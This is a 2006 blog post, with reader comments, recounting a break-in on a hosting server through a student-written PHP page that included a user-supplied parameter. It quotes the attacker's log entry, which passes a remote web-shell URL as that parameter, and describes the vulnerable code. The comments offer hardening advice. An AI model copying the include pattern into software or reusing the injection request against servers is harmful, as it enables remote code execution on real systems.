Hosting PHP proven harmful

Published 2006-10-01 in sections English, Digital World.

I happen to have my own root server, and since there are always resources left, I did not mind hosting some other people's pages as well. I especially offer all the final classes of my school to host their website, to keep up a consistent domain naming scheme, starting with my own class page, http://04.abi-sgh.de/. This was a nice services to the following classes, as the amout of pictures such a class generates usually exeeds regular hosting constraints. Custom programmed websites, like mine and some more, are nice too.

Now, today, my web server was not running. I tried to restart it, but port 443 was used, and I thought: "WTF"? netstat showed my a process with the strange name of "mysqld_" sitting on that port. ls -l /proc/.../cmd showed a binary named "httpd" in a path "/var/www/...(very deep)/.../.ssh/". Now it dawned me: Someone hacked my server.

A quick "ls -l" in that directory indicated that it was done as the www-data server, and probably no root was gained. There were also two DVD rips laying around, so my server seemd to have been turned in to a movie sharing platform. The "httpd" binary, as "strings" confirmed, is a IRC-fileshareing server called iroffer, and a tool to hide processes was in that directory too.

Luckily, the attackers did not hide their traces too well. The date of the "..." directory gave me the exact time of the attack, and around that time, entries like this one appeared in the access.log:

62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/
cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224
"http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?&
action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1

Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.

The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!

The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.

I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.

Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.

Comments

For Apache there is a so called suphp plugin. This means, the code of the different hosts will be run with the userrights defined for the virtual host (I assume you use something like confixx, plesk, ispconfig, etc.).

So actually the hackers could/should only be able to take over the space of this specific user.

Perhaps you should checkout this feature, if you are not using it yet.

#1 university of karlsruhe student am 2006-10-01

Thanks for the hint. I'm not using differnet users ATM (probably should), and I'm not using something like confixxx. I will consider separate users, though.

#2 Joachim Breitner (Homepage) am 2006-10-01

Of course you can create holes with PHP, but the setting you refer to (register_globals) has defaulted to Off for many years now. It's a stupid feature, really, but if you keep with the defaults everything will be ok.

#3 Thijs am 2006-10-01

In addition to register_globals=off you should also disable allow_url_fopen.

This would have prevented the break-in you observed.

#4 Sven Hartge (Homepage) am 2006-10-01

I slightly remembered that the user requested these features, at least register_globals... but yes, PHP can be save, I don't deny that.

#5 Joachim Breitner (Homepage) am 2006-10-01

Well mod_security allows a lot of tweaking for know problems with php scripting (and others, like banning cmd or bash commands from get executed by apache, also to use links, lynx or wget to get the other part of the tools the attacker needs) also if I don't remember bad, there is apache suexec, and, a bit more complex there is safe_mode on php. ;D

Regards...

#6 vicm3 (Homepage) am 2006-10-01

Any script depending ong register_globals has to be considered totally broken and unsafe for use in any internet-connected server.

register_globals has been deprecated since "ages" and this break-in demonstrates once more how harmful this option is.

I'd recommend to turn it off right now and instruct any users relying on it to fix their scripts.

#7 Sven Hartge (Homepage) am 2006-10-01

Check out /usr/share/doc/php5/examples/php.ini-recommended and php.ini-paranoid.

#8 Sam Morris (Homepage) am 2006-10-01

You might want to try SE Linux. It's currently under very active development in Debian and should be ready for general use soon.

If running SE Linux then any programs launched from the web server will have a derived domain, this makes them easy to identify and also denies them the ability to run programs such as "passwd" thus making it a lot harder to gain access to other things once they have a local shell.

#9 Russell Coker (Homepage) am 2006-10-02

Don't ban self-written PHP - a lot of major PHP applications are just as bad, if not worse.

It is more useful to move to an su-exec-like solution (whether suexec+php-cgi, suphp or modruid) and set your outgoing connection rules (iptables or whatever) to default deny, so any screwups by a user are limited to harming only that user, as far as possible. Other than that, run intrusion detection and so on.

#10 MJR/slef (Homepage) am 2006-10-02

Maybe you want to have a look at http://archiv.debianhowto.de/de/apache2-phpfcgi-sarge/c_apache2-phpfcgi-sarge.html

it's the base for my root server. In combination with a chrooted SFTP/SCP/SSH for uploads and a HPHP-Patch it runs very smooth. And there are several scripts on it which I do not like very much. For it is a testing platform and some other people (only people who I know, but they do not know as much about security issues as I do and even I am no master yet) were allowed to have there pages on this server.

Greetings

Kai

#11 Kai Wb. am 2006-10-02

Have something to say? You can post a comment by sending an e-Mail to me at <mail@joachim-breitner.de>, and I will include it here.

Go up